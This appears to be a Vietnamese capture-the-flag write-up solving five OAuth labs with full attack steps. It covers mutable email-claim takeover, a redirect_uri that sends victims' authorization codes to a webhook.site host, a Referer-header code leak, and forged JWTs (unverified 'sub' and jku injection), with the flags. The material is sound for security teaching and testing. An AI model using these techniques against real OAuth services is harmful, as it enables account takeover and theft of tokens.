The main theme of the labs is to obtain authorization to access the resources of the `admin` user.

Lab 1

Claims fail; see what happens when a client implementation uses unstable claims to establish a user identity.
Có thể lab này liên quan đến **Mutable Claims Attack**.

Khi truy cập vào https://client-01.oauth.labs/ thì có nút để đăng nhập sử dụng OAuth server.

Authorize request:

https://server-01.oauth.labs/oauth/authorize?client_id=804828e4-037b-4005-bb6b-e446257425da&code_challenge=xA8v_BGWEaZekznp-iwuhvuzqAC7G0yc-NohURp6gjI&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fclient-01.oauth.labs%2Fcallback&response_type=code&scope=read%3Aprofile&state=8SQVqi0Kz_Pe-ejLwzLS_Z-yi13O2N9aGawtMlj3LIo

Response thực hiện server-side redirect đến:

https://server-01.oauth.labs/login?return_to=%2Foauth%2Fauthorize%3Fclient_id%3D804828e4-037b-4005-bb6b-e446257425da%26code_challenge%3DxA8v_BGWEaZekznp-iwuhvuzqAC7G0yc-NohURp6gjI%26code_challenge_method%3DS256%26redirect_uri%3Dhttps%253A%252F%252Fclient-01.oauth.labs%252Fcallback%26response_type%3Dcode%26scope%3Dread%253Aprofile%26state%3D8SQVqi0Kz_Pe-ejLwzLS_Z-yi13O2N9aGawtMlj3LIo

Ở server, sau khi đăng nhập ta có thể chỉnh sửa profile:

Lỗ hổng này xảy ra khi client application dựa vào một claim (là một mẩu thông tin về chủ thể - user)1 mà có thể thay đổi được ở phía OAuth server chẳng hạn như email để xác thực người dùng.

Ví dụ, nếu client application sử dụng email để định danh người dùng và OAuth server cho phép người dùng thay đổi email thì attacker có thể thay đổi email của hắn rồi đăng nhập vào tài khoản của attacker như bình thường.

Sau khi đăng nhập, do client application sử dụng email để xác thực nên sẽ nhầm tưởng rằng tài khoản của attacker là tài khoản của nạn nhân (mặc dù khác username và password) mà cả 2 tài khoản này có cùng 1 email.

[Common OAuth Vulnerabilities · Doyensec's Blog](https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html#Mutable%20Claims%20Attack)

Để tấn công, ta chỉ cần thay đổi profile trong email của chúng ta thành admin@oauth.labs rồi đăng nhập ở phía client application là sẽ có được flag.

flag{871d1dec99b890a924ebd803e77c4ea1ccb6f8c7}

Lab 2

Open redirect (No restriction) See what happens when the authorization server does not validate the `redirect_uri` at all.
 
For this lab, [victim.oauth.labs](https://victim.oauth.labs/) can be used to simulate victim interaction.

Lab này có thể liên quan đến việc ta có thể sử dụng redirect_uri tùy ý để đánh cắp authorization code của nạn nhân.

Authorize request:

https://server-02.oauth.labs/oauth/authorize?client_id=07430358-7c00-4911-89c5-d0cb64a64925&redirect_uri=https%3A%2F%2Fclient-02.oauth.labs%2Fcallback&response_type=code&scope=read%3Aprofile

Decode:

https://server-02.oauth.labs/oauth/authorize?client_id=07430358-7c00-4911-89c5-d0cb64a64925&redirect_uri=https://client-02.oauth.labs/callback&response_type=code&scope=read:profile

Thay đổi redirect_uri đến https://webhook.site/71eb4624-1c24-42ad-be52-332b559f4989:

https://server-02.oauth.labs/oauth/authorize?client_id=07430358-7c00-4911-89c5-d0cb64a64925&redirect_uri=https%3a%2f%2fwebhook.site%2f71eb4624-1c24-42ad-be52-332b559f4989&response_type=code&scope=read%3Aprofile

Khi log in thì nhận được code trả về webhook như sau:

LYvQfkDJKRA0wo-5fExDQnyqyD64VoGSWFjNLymEL3I

Gửi cho victim URL có malicious redirect_uri thì nhận được code như sau:

nDlwwE856fb8auU1FfUVsScqESFpi24e7IfX5PVxbNo

Truy cập vào callback request để nhận được cookie cũng như là login bằng tài khoản của nạn nhân:

https://client-02.oauth.labs/callback?code=nDlwwE856fb8auU1FfUVsScqESFpi24e7IfX5PVxbNo

flag{6d7a573a10f9884b201cfe31fe848fc3e5ad0554}

Lab 3

Open redirect (relative path restriction) See what happens when the authorization server only validates the `redirect_uri` domain.
 
For this lab, [victim.oauth.labs](https://victim.oauth.labs/) can be used to simulate victim interaction.

Trong lab này, redirect_uri chỉ cho phép on-site open redirect. Khi đó, ta có thể thực hiện client-side path traversal đến một trang nào đó có off-site open redirect để tấn công. Tuy nhiên, không thể tìm thấy bất kỳ URL nào thỏa mãn điều này.

Thử thay đổi response_type thành token để nhận được token thông qua fragment và leak nó với Referer header. Tuy nhiên, có 2 trở ngại:

  • response_type chỉ có thể là code và không thể dùng response_mode=fragment. Đoạn code chịu trách nhiệm cho hành vi này:

    if !slices.Contains(client.ResponseTypes, request.ResponseType) {
    	log.Println("[OAuthService.Authorize]: response_type validation failed: requested response_type is not supported by the client")
    	return nil, newAuthorizeError("unauthorized_client", "response_type must be set to \"code\".", *authorizeCtx.RequestRedirectURI)
    }
    if !oa.meta.ResponseTypesSupported.Contains(request.ResponseType) {
    	log.Println("[OAuthService.Authorize]: response_type validation failed: requested response_type is not supported")
    	return nil, newAuthorizeError("unsupported_response_type", "response_type must be set to \"code\".", *authorizeCtx.RequestRedirectURI)
    }
  • Redirect mặc định sẽ đưa về trang profile của nạn nhân mà không có Avatar URL của attacker nên không thể leak token thông qua Referer header.

    c.Redirect(http.StatusFound, "/profile/"+accessToken.Subject())

Thấy rằng ta có thể set Avatar URL ở trên authorization server với URL tùy ý và client application render URL này ở trang /profile với referer-policyunsafe-url. Nảy ra ý tưởng redirect về trang /profile của attacker để leak code thông qua Referer header.

<img id="user-avatar" class="ui circular image" src="{{ .Profile.AvatarURL }}" width="160" height="160" referrerpolicy="unsafe-url">

Thử với việc redirect về trang https://client-03.oauth.labs/profile/ATTACKER-ID thì được phép do code của client chỉ kiểm tra scheme, host và port chứ không kiểm tra path.

requested := redirectURI.URL()
if requested.Scheme != allowed.Scheme || requested.Host != allowed.Host || requested.Port() != allowed.Port() {
	return nil, &oalib.VerboseError{
		Err:         "invalid_redirect_uri",
		Description: "redirect_uri not allowed",
	}
}
Đáng lẽ kịch bản trên là intended solution của lab nhưng do trang `/profile` vẫn cần authentication để truy cập nên victim không thể load được avatar URL của attacker.
 
Chúng ta sẽ sửa lại code của lab bằng cách cho phép truy cập đến `/profile` và nếu chưa authen thì chỉ hiển thị trang `private_profile.tmpl` (chỉ bao gồm avatar URL).

Đưa URL sau cho victim:

https://server-03.oauth.labs/oauth/authorize?client_id=e143a0a5-da6d-4a0b-9651-fd4465a9a4a5&redirect_uri=https%3a%2f%2fclient-03.oauth.labs%2fprofile%2fa1ceb477-a2c4-4c91-9dcf-26e7e57ca8cb&response_type=code&scope=read%3Aprofile

Nhận được Referer header như sau:

https://client-03.oauth.labs/profile/a1ceb477-a2c4-4c91-9dcf-26e7e57ca8cb?code=VlnkErgI_SVgrZi3m9fH8o_qhJKgC-rzsHiKmto-Ckc

Gửi request đến https://client-03.oauth.labs/callback?code=VlnkErgI_SVgrZi3m9fH8o_qhJKgC-rzsHiKmto-Ckc để takeover tài khoản của nạn nhân.

flag{8d3784b3baf1e771f6004f4023d70f0fba2963fe}

Lab 4

JWT signature validations are a must, see what happens when they are not verified.

Lab này sử dụng Authorization Token Flow nhưng lại exchange code lấy token ở client side.

Sau khi gửi request đến https://client-04.oauth.labs/callback?code=LuAjtCBYSD1RwrhtNrcLFOlaAkquYRglpk1R9qa2h_w&state=M-YzBRFzCW9CsG8Ai23YqPHc9QQE0AlRrauxPsJHD2g thì thay vì nhận cookie thì response lại chứa đoạn client-side script sau:

<script>
	$(document).ready(function() {
		let params = new URLSearchParams(window.document.location.search);
		if (params.get('error') != null
			|| params.get('code') == null
			|| params.get('state') != 'M-YzBRFzCW9CsG8Ai23YqPHc9QQE0AlRrauxPsJHD2g') {
			showError('OAuth callback failed, try again.');
			return;
		}
 
		
		$.ajax({
			method: 'POST',
			url: 'https:\/\/server-04.oauth.labs\/oauth\/token',
			headers: { 'Authorization': 'Basic ZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Ojh2TTllY1ZiN1BDOVBCcG9qMjN1d2ZXdHkweUpkVlZM' },
			data: jQuery.param({
				'grant_type': 'authorization_code',
				'code': params.get('code'),
				'redirect_uri': 'https:\/\/client-04.oauth.labs\/callback',
			})
		}).done(function(msg) {
			$.ajax({
				method: 'POST',
				url: '/set-tokens',
				headers: { 'Content-Type': 'application/json' },
				data: JSON.stringify(msg),
			}).done(function() {
				window.location.replace('/profile');
			}).fail(function() {
				showError('OAuth callback failed, try again.');
				return;
			})
		}).fail(function() {
			showError('OAuth callback failed, try again.');
			return;
		});
	});
</script>
Đoạn script này để lộ `client_id` và `client_secret` trong `ZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Ojh2TTllY1ZiN1BDOVBCcG9qMjN1d2ZXdHkweUpkVlZM` (base64-encoded).
 
Với `client_id` và `client_secret`, ta có thể thực hiện Dynamic Registration nhằm khai thác SSRF. Xem thêm [[Port Swigger - Extending OAuth with OpenID Connect#unprotected-dynamic-client-registration|Unprotected Dynamic Client Registration]].
 
Ngoài ra, việc để lộ `client_id` và `client_secret` cũng có thể có impact khác: [OAuth 2.0 Client Credentials Misuse in Public Apps](https://blog.sentry.security/oauth-2-0-client-credentials-misuse-in-public-apps/).

Mục đích chính của đoạn script trên là để exchange code để lấy các access token thông qua request sau:

POST /oauth/token HTTP/2
Authorization: Basic ZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Ojh2TTllY1ZiN1BDOVBCcG9qMjN1d2ZXdHkweUpkVlZM
Accept-Language: en-US,en;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://client-04.oauth.labs
 
grant_type=authorization_code&code=LuAjtCBYSD1RwrhtNrcLFOlaAkquYRglpk1R9qa2h_w&redirect_uri=https%3A%2F%2Fclient-04.oauth.labs%2Fcallback

Response trả về sẽ có các token:

{"access_token":"eyJhbGciOiJSUzI1NiIsImtpZCI6IjAxOTI0MzE2LTY4MDAtNDgwNC04MzMyLWEwNzMwNDIyZTAxNiIsInR5cCI6ImF0K2p3dCJ9.eyJhdWQiOlsiZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Il0sImNsaWVudF9pZCI6ImYyMGU3ZTIzLTAzNzYtNGMxOC05ZTA1LTFmODYyMjY0YTI4OCIsImV4cCI6MTc1MzYzMzI3MSwiaWF0IjoxNzUzNjI5NjcxLCJpc3MiOiJodHRwczovL3NlcnZlci0wNC5vYXV0aC5sYWJzIiwianRpIjoiY2VlNjJkYTYtNGJlNS00OGJiLWFmMjItYTcyNjViM2RmM2I3IiwibmJmIjoxNzUzNjI5NjcxLCJzY29wZSI6InJlYWQ6cHJvZmlsZSIsInN1YiI6InVzZXIifQ.QtEYT0Iiei_Uy8rTNhb_e93iUAkWFj3J8PdDRu4cREykv_5SzajRlPAhoIk1yps6KUl5R4TFo7lpkz1DrAxgTQe8lBv2Edv4GIj6OP7DnGUBt4qkpBOjAQSx1wUOeVkQ2vfN8hw-IRhPb8YRuFLmF11zAmaXeLQPmz6cgzCPpvJjrZ7Vzb5n75clNyQpSsBjc54744q1OAjGgc8sb-cvyb4pgNrUW99lUHzrbyoiQkfUYcccA51Z9Jz7u5XBfm67OyI7kGWGKmErOKodk9jQ-7kxa1tbZr3xr5OPpoejLfrbFc_tZoIpU8EEL2-cuOCFxrm5FMCvuAadcjHgrpF1Nw","token_type":"Bearer","expires_in":3600,"refresh_token":"ZXlKaGJHY2lPaUpTVTBFdFQwRkZVQ0lzSW1WdVl5STZJa0V5TlRaSFEwMGlMQ0pyYVdRaU9pSXdNVGt5TkRNeE5pMDJPREF3TFRRNE1EUXRPRE16TWkxaE1EY3pNRFF5TW1Vd01UWWlmUS5IOFE4OENhZWFJM1BxX1VHNmNQZ3JZam9welotUnZINDBqYXA3cUpWSTFJQkpWU19MSkdCbWFOR2ZfUng5M2puZUlEWFdQaHhUYlFsWk5OdFpYWU9kYzFyNVlzTndzT2hMSUVCUEpHb29Xdmwtd2tnb0hQVnpvQ0VPaXl1UHE4VUxXVXFNNV9ZYUl4c0hjbTJIRFdPWlBGN2s5N25ZeEdUZTJnRUQ2bUhmOHRrVWZraFFsSTNrdVB6UHFyaWxiSlJibzF0dUVWZHJoZVNONlI5S2tVYTFLX2hTakRGblc1aVJCOXV1WjhGbVlkZUd5RU9ZMlRHaXRFcEtId21iS29Kbl9Vazh2ZC10SHR5Q0Nnem5NOE8tWFpCalBGWm1PYTdTOGc1OWpzY2dneGZGVm50RFlNUE9WSGhEMW1jek9ma3NvVHNvQnVRcDRNNGV0Z0xRVEJLeHcuSllCN0llcEEtMThla2p5Zi5oTk4xOEdSTlpkZWlYN1AtWnFJRjlqVlVOX1dyTzMxUlNuYlhYWm51YkZ6ZzF6b05FRldzYnlZYzZEOXpuMUtvVVVjSzR2cUI1QmJ0ME1aeWRSYVk5TjM1NHpFeC1fLXpWaGJBbmtWMUV4c25sdW1hOUl4Um5XZGt4eC1yMTR4SVhycFRJenQzeWJJODd5bksxa2xOQmE0OGxYTEFvZE1IWHRIU3VZM3pIUUQwZWVWUG9SSWl4WTc1SXZFWjJzUG13NFJUM3pRV2dNWGllb1dXRmY2TVdiNmk3RHgzVHBUQXp6bUU5a1FSeGRBbEt0ekVmcU1kd1Jub1F6TWVvRWFSNlV3ZU94cXdJTU5DcVB1RFFOS1NXS1BjRFJJNFJIbzZkbFlLeGNMS0ZLN2l3R0t4OGw0dzVwU09RbEhLeXBQWW5lZU5kaXdhTWlBTkc3MlhINGJvOW9EWHlWRUVMMnBaQy01TWFnekRtR2tVSXBXeGpCTThiRndRanNpODFIVTg3QlhTbTlMaHFESFdqVVhGOUxsYU81UW1uTVgtQXpqdGVjb1VtWnZRWWd6YmZETVhKaEhWa2EzazBwQUFCU3ZvMnlldU9NdzVtbW41WEJZZXN3VUxXVWRObHVmVHNZcjREbk5NemY0RGRvSVlpVjJZMkxUZ2JHdVhkdk1LS20yY2lwOG0xaEx5VnByR2tJVGFZbWRxWGlzYzA4TW9oNmNpdmNGUlZWbTcxcGQtcWJDa3pIbk9panQxZHZnZE1saFVVbmdkVkxWenBETmZvb2FZcmlESE0yWndQZ1EwbGlBZkMtVmdZMjJKWnNMWkVaSURkWDhLcEJPVXlGckdoWFB1NFJva2RnWndRNXdYdnNVTUt2SHJSanpHTGstR3ZqR2M0U0FDUXRQZ3VrcmVLa280ZVdLTVdfLVRmb0RoSVp1X0NfY0xtRTA3Mm5wOFF4UEdWQm9lRnJZaldLOF9RaEhaUGs0Mmd4TkdlRms4YWstaUtXRjhlb0pUcmZMZHc0V0czRVNJSmhwZVg2bFBFMnJDZ0xVN1Zqdm5FSXd5eFFNUkEtVWxhaS1uTWFjdllaa25kakxRUXpLeXlfSHAyOWdUNzFZcF9uTjk1Q0lEc29oMUIzMjRKUDVzSzlLLUl5ZE4zbDdTc194YlR4REFDc05FWWNUbDVjLWlCcmFfa3dETFpHZnFTbV8xdzhuQ2dLRGF3TzNZWFUxSXZPUEhLUG1ZRExPVW1BLm5NUTY4ZkRGZjdrVWhsNTgzLWYxVnc","scope":"read:profile"}

Theo sau đó là request exchange token để lấy cookie:

POST /set-tokens HTTP/2
Host: client-04.oauth.labs
 
{"access_token":"eyJhbGciOiJSUzI1NiIsImtpZCI6IjAxOTI0MzE2LTY4MDAtNDgwNC04MzMyLWEwNzMwNDIyZTAxNiIsInR5cCI6ImF0K2p3dCJ9.eyJhdWQiOlsiZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Il0sImNsaWVudF9pZCI6ImYyMGU3ZTIzLTAzNzYtNGMxOC05ZTA1LTFmODYyMjY0YTI4OCIsImV4cCI6MTc1MzYzMzI3MSwiaWF0IjoxNzUzNjI5NjcxLCJpc3MiOiJodHRwczovL3NlcnZlci0wNC5vYXV0aC5sYWJzIiwianRpIjoiY2VlNjJkYTYtNGJlNS00OGJiLWFmMjItYTcyNjViM2RmM2I3IiwibmJmIjoxNzUzNjI5NjcxLCJzY29wZSI6InJlYWQ6cHJvZmlsZSIsInN1YiI6InVzZXIifQ.QtEYT0Iiei_Uy8rTNhb_e93iUAkWFj3J8PdDRu4cREykv_5SzajRlPAhoIk1yps6KUl5R4TFo7lpkz1DrAxgTQe8lBv2Edv4GIj6OP7DnGUBt4qkpBOjAQSx1wUOeVkQ2vfN8hw-IRhPb8YRuFLmF11zAmaXeLQPmz6cgzCPpvJjrZ7Vzb5n75clNyQpSsBjc54744q1OAjGgc8sb-cvyb4pgNrUW99lUHzrbyoiQkfUYcccA51Z9Jz7u5XBfm67OyI7kGWGKmErOKodk9jQ-7kxa1tbZr3xr5OPpoejLfrbFc_tZoIpU8EEL2-cuOCFxrm5FMCvuAadcjHgrpF1Nw","token_type":"Bearer","expires_in":3600,"refresh_token":"ZXlKaGJHY2lPaUpTVTBFdFQwRkZVQ0lzSW1WdVl5STZJa0V5TlRaSFEwMGlMQ0pyYVdRaU9pSXdNVGt5TkRNeE5pMDJPREF3TFRRNE1EUXRPRE16TWkxaE1EY3pNRFF5TW1Vd01UWWlmUS5IOFE4OENhZWFJM1BxX1VHNmNQZ3JZam9welotUnZINDBqYXA3cUpWSTFJQkpWU19MSkdCbWFOR2ZfUng5M2puZUlEWFdQaHhUYlFsWk5OdFpYWU9kYzFyNVlzTndzT2hMSUVCUEpHb29Xdmwtd2tnb0hQVnpvQ0VPaXl1UHE4VUxXVXFNNV9ZYUl4c0hjbTJIRFdPWlBGN2s5N25ZeEdUZTJnRUQ2bUhmOHRrVWZraFFsSTNrdVB6UHFyaWxiSlJibzF0dUVWZHJoZVNONlI5S2tVYTFLX2hTakRGblc1aVJCOXV1WjhGbVlkZUd5RU9ZMlRHaXRFcEtId21iS29Kbl9Vazh2ZC10SHR5Q0Nnem5NOE8tWFpCalBGWm1PYTdTOGc1OWpzY2dneGZGVm50RFlNUE9WSGhEMW1jek9ma3NvVHNvQnVRcDRNNGV0Z0xRVEJLeHcuSllCN0llcEEtMThla2p5Zi5oTk4xOEdSTlpkZWlYN1AtWnFJRjlqVlVOX1dyTzMxUlNuYlhYWm51YkZ6ZzF6b05FRldzYnlZYzZEOXpuMUtvVVVjSzR2cUI1QmJ0ME1aeWRSYVk5TjM1NHpFeC1fLXpWaGJBbmtWMUV4c25sdW1hOUl4Um5XZGt4eC1yMTR4SVhycFRJenQzeWJJODd5bksxa2xOQmE0OGxYTEFvZE1IWHRIU3VZM3pIUUQwZWVWUG9SSWl4WTc1SXZFWjJzUG13NFJUM3pRV2dNWGllb1dXRmY2TVdiNmk3RHgzVHBUQXp6bUU5a1FSeGRBbEt0ekVmcU1kd1Jub1F6TWVvRWFSNlV3ZU94cXdJTU5DcVB1RFFOS1NXS1BjRFJJNFJIbzZkbFlLeGNMS0ZLN2l3R0t4OGw0dzVwU09RbEhLeXBQWW5lZU5kaXdhTWlBTkc3MlhINGJvOW9EWHlWRUVMMnBaQy01TWFnekRtR2tVSXBXeGpCTThiRndRanNpODFIVTg3QlhTbTlMaHFESFdqVVhGOUxsYU81UW1uTVgtQXpqdGVjb1VtWnZRWWd6YmZETVhKaEhWa2EzazBwQUFCU3ZvMnlldU9NdzVtbW41WEJZZXN3VUxXVWRObHVmVHNZcjREbk5NemY0RGRvSVlpVjJZMkxUZ2JHdVhkdk1LS20yY2lwOG0xaEx5VnByR2tJVGFZbWRxWGlzYzA4TW9oNmNpdmNGUlZWbTcxcGQtcWJDa3pIbk9panQxZHZnZE1saFVVbmdkVkxWenBETmZvb2FZcmlESE0yWndQZ1EwbGlBZkMtVmdZMjJKWnNMWkVaSURkWDhLcEJPVXlGckdoWFB1NFJva2RnWndRNXdYdnNVTUt2SHJSanpHTGstR3ZqR2M0U0FDUXRQZ3VrcmVLa280ZVdLTVdfLVRmb0RoSVp1X0NfY0xtRTA3Mm5wOFF4UEdWQm9lRnJZaldLOF9RaEhaUGs0Mmd4TkdlRms4YWstaUtXRjhlb0pUcmZMZHc0V0czRVNJSmhwZVg2bFBFMnJDZ0xVN1Zqdm5FSXd5eFFNUkEtVWxhaS1uTWFjdllaa25kakxRUXpLeXlfSHAyOWdUNzFZcF9uTjk1Q0lEc29oMUIzMjRKUDVzSzlLLUl5ZE4zbDdTc194YlR4REFDc05FWWNUbDVjLWlCcmFfa3dETFpHZnFTbV8xdzhuQ2dLRGF3TzNZWFUxSXZPUEhLUG1ZRExPVW1BLm5NUTY4ZkRGZjdrVWhsNTgzLWYxVnc","scope":"read:profile"}
 
HTTP/2 200 OK
Set-Cookie: client-04=MTc1MzYyOTY3MXxzTWR3b0tub1Z4VGp3d3MxdmRTWE1BUUljWE1sU3VMdW5MdV94aHJZb3VLUjhrQ0g4VkM5XzNoa0VfUVBLMHJqTFFZOGptNXJBdTZUYW5YbV9XTGlxbVFELUxTa0hlXy18ASN8LiRW1u8yFIGt2MbIdbeGtb6TB1nSWyS2Ciq-DGY=; Path=/; Domain=client-04.oauth.labs; Expires=Mon, 28 Jul 2025 13:41:11 GMT; 

Ban đầu, nhầm tưởng rằng ta sẽ tập trung vào request /set-tokens để mạo danh admin bằng cách thay đổi payload của access_token từ:

{"aud":["f20e7e23-0376-4c18-9e05-1f862264a288"],"client_id":"f20e7e23-0376-4c18-9e05-1f862264a288","exp":1753633271,"iat":1753629671,"iss":"https://server-04.oauth.labs","jti":"cee62da6-4be5-48bb-af22-a7265b3df3b7","nbf":1753629671,"scope":"read:profile","sub":"user"}

Thành:

{"aud":["f20e7e23-0376-4c18-9e05-1f862264a288"],"client_id":"f20e7e23-0376-4c18-9e05-1f862264a288","exp":1753633271,"iat":1753629671,"iss":"https://server-04.oauth.labs","jti":"cee62da6-4be5-48bb-af22-a7265b3df3b7","nbf":1753629671,"scope":"read:profile","sub":"admin"}

(Thay đổi sub).

Tuy nhiên, việc này không thành công và luôn có lỗi xảy ra do 1 trong 2 điều kiện if sau:

s := sessions.Default(c)
ctx := c.Request.Context()
 
var req dto.SetTokenRequest
if err := c.BindJSON(&req); err != nil {
	log.Printf("[OAuthController.SetToken]: error: %s", err.Error())
	session.Delete(s)
	c.JSON(http.StatusBadRequest, gin.H{
		"error": "access_token and refresh_token required",
	})
	return
}
if _, err := o.tokenService.Parse(req.AccessToken); err != nil {
	log.Printf("[OAuthController.SetToken]: error: %s", err.Error())
	session.Delete(s)
	c.JSON(http.StatusBadRequest, gin.H{
		"error": "invalid tokens",
	})
	return
}

Tuy nhiên, tồn tại một API ẩn được bảo vệ bởi middleware JWTRequired:

c := controllers.NewUserController(userService, tokenService)
api := r.Group("/api", middlewares.NoCache(), middlewares.JWTRequired(tokenService))
api.GET("/users/me", scopesRequired("read:profile"), c.Me)

API này chỉ có thể được truy cập nếu có Authorization: Bearer header.

Thử dùng access_token của attacker thì thấy là có thể truy vấn thông tin về user:

GET /api/users/me HTTP/2
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjAxOTI0MzE2LTY4MDAtNDgwNC04MzMyLWEwNzMwNDIyZTAxNiIsInR5cCI6ImF0K2p3dCJ9.eyJhdWQiOlsiZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Il0sImNsaWVudF9pZCI6ImYyMGU3ZTIzLTAzNzYtNGMxOC05ZTA1LTFmODYyMjY0YTI4OCIsImV4cCI6MTc1MzYzMzI3MSwiaWF0IjoxNzUzNjI5NjcxLCJpc3MiOiJodHRwczovL3NlcnZlci0wNC5vYXV0aC5sYWJzIiwianRpIjoiY2VlNjJkYTYtNGJlNS00OGJiLWFmMjItYTcyNjViM2RmM2I3IiwibmJmIjoxNzUzNjI5NjcxLCJzY29wZSI6InJlYWQ6cHJvZmlsZSIsInN1YiI6InVzZXIifQ.QtEYT0Iiei_Uy8rTNhb_e93iUAkWFj3J8PdDRu4cREykv_5SzajRlPAhoIk1yps6KUl5R4TFo7lpkz1DrAxgTQe8lBv2Edv4GIj6OP7DnGUBt4qkpBOjAQSx1wUOeVkQ2vfN8hw-IRhPb8YRuFLmF11zAmaXeLQPmz6cgzCPpvJjrZ7Vzb5n75clNyQpSsBjc54744q1OAjGgc8sb-cvyb4pgNrUW99lUHzrbyoiQkfUYcccA51Z9Jz7u5XBfm67OyI7kGWGKmErOKodk9jQ-7kxa1tbZr3xr5OPpoejLfrbFc_tZoIpU8EEL2-cuOCFxrm5FMCvuAadcjHgrpF1Nw
Accept-Language: en-US,en;q=0.9
Accept: */*
Origin: https://client-04.oauth.labs
Priority: u=1, i
 
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 60
{"firstname":"attacker","lastname":"","email":"","extra":""}

Thay đổi sub trong payload của JWT thành admin thì truy vấn được thông tin của tài khoản admin:

{"firstname":"Dick","lastname":"Hardt","email":"admin@oauth.labs","extra":"flag{c2606225fce191368f89c013e9d38fc3c7d2f72f}"}
flag{c2606225fce191368f89c013e9d38fc3c7d2f72f}

Lab 5

JWT signature validations done wrong, see what happens when `jku` claims are not properly handled.

Có thể lab này liên quan đến việc inject vào jku field của JWT2.

Truy cập đến /.well-known/jwks.json thì có JSON sau:

{
  "keys": [
    {
      "alg": "RS256",
      "e": "AQAB",
      "kid": "01924316-6800-4804-8332-a0730422e016",
      "kty": "RSA",
      "n": "4x7t9d3y-dTqz3LjzAH075MOwJkL6C9zaM-7zHhAonJwql1AJOcaOTDYTa30C0e0lUPA6N5gZzZUPtnzlOq4HHEekLIEmwdsXR0544FzKiNK9EgphkbovrWcBodk5x77yi-wtvLpoztwr27Mzh7XSxsSqPQawjoHkb9iwZYeXPJ2OpihovP5nJct2pDoMv0wl-urlVOgGRHs8QJ25dRwve3EfYD8P6xN2QvKZRgTiX6ik9pmIgs-82d-SLjGjJ5DFp8qN8WCkbzt_-Z7oB3nfPtQouYDY0fbwS8R7fDGFY8eclAPi1sbu-70zne_Bm_ZTsFpkzr3xckvCjH8QuhYmQ",
      "use": "sig"
    }
  ]
}

Xây dựng một JWK set (JSON Web Key Set) với thuật toán RSA-2048:

{
  "keys": [
    {
      "alg": "RS256",
      "e": "AQAB",
      "kid": "c5ad85ca-8e7b-4d24-bd5f-788dee23a24f",
      "kty": "RSA",
      "n": "rFJuv991qAbJ41HWwB00JXWDXme3o8bp_VTacjGe9cU9v0SfSDO6rULTt6ha2F_4V9Jt9VsTof1KjIH8rUoAycHhz1NG4IeMQx7k2HhIBJvYrFpB7jgK1WrJ_YZLdWVvO9S0NgqfGYCtZio7cuu-iN1JZnn-m0vSLZn3Cvj5Enq3vQkd_HceNU-rnargMd-WlIt6Mz8RMkWU5jlbHQKN1B8fqRt9ArermF_TypwAeMZ03s7aZ-EZ90oN-D_MAv7dIh-wKNq3BdMPmGWjRa_W0b-zZ1g5aedh0cIxtSR5_-px_f-LRpox9rhSm7BrBrNFENNL4HASTD9adelN4nwQsQ",
      "use": "sig"
    }
  ]
}

Header và payload của một JWT hợp lệ:

{
    "alg": "RS256",
    "jku": "https://server-05.oauth.labs/.well-known/jwks.json",
    "kid": "01924316-6800-4804-8332-a0730422e016",
    "typ": "at+jwt"
}
{
    "aud": [
        "258e99a8-d0d7-450d-ad94-bd1e07381dab"
    ],
    "client_id": "258e99a8-d0d7-450d-ad94-bd1e07381dab",
    "exp": 1753634343,
    "iat": 1753630743,
    "iss": "https://server-05.oauth.labs",
    "jti": "82b02d41-4de5-4258-a19e-f84a9a6d93ea",
    "nbf": 1753630743,
    "scope": "read:profile",
    "sub": "user"
}

Sửa header và payload lại thành như sau:

{
    "alg": "RS256",
    "jku": "http://host.docker.internal:8000/jws.json",
    "kid": "c5ad85ca-8e7b-4d24-bd5f-788dee23a24f",
    "typ": "at+jwt"
}
{
    "aud": [
        "258e99a8-d0d7-450d-ad94-bd1e07381dab"
    ],
    "client_id": "258e99a8-d0d7-450d-ad94-bd1e07381dab",
    "exp": 1753634343,
    "iat": 1753630743,
    "iss": "https://server-05.oauth.labs",
    "jti": "82b02d41-4de5-4258-a19e-f84a9a6d93ea",
    "nbf": 1753630743,
    "scope": "read:profile",
    "sub": "admin"
}

Có thể thấy, ta host jku ở localhost và trỏ kid đến kid có trong key vừa tạo ở trên.

Ngoài ra, ta cũng chỉnh sub thành admin để mạo danh admin.

Response trả về có flag:

{"firstname":"Dick","lastname":"Hardt","email":"admin@oauth.labs","extra":"flag{a376f21957ce638d1a7fbd6784919df012c44483}"}
flag{a376f21957ce638d1a7fbd6784919df012c44483}

Resources

Footnotes

  1. Một ví dụ về claim:

    {
      "sub": "1234567890",
      "name": "LÊ MINH QUÂN",
      "email": "quan@example.com"
    }
  2. Xem thêm JWT Header Parameter Injections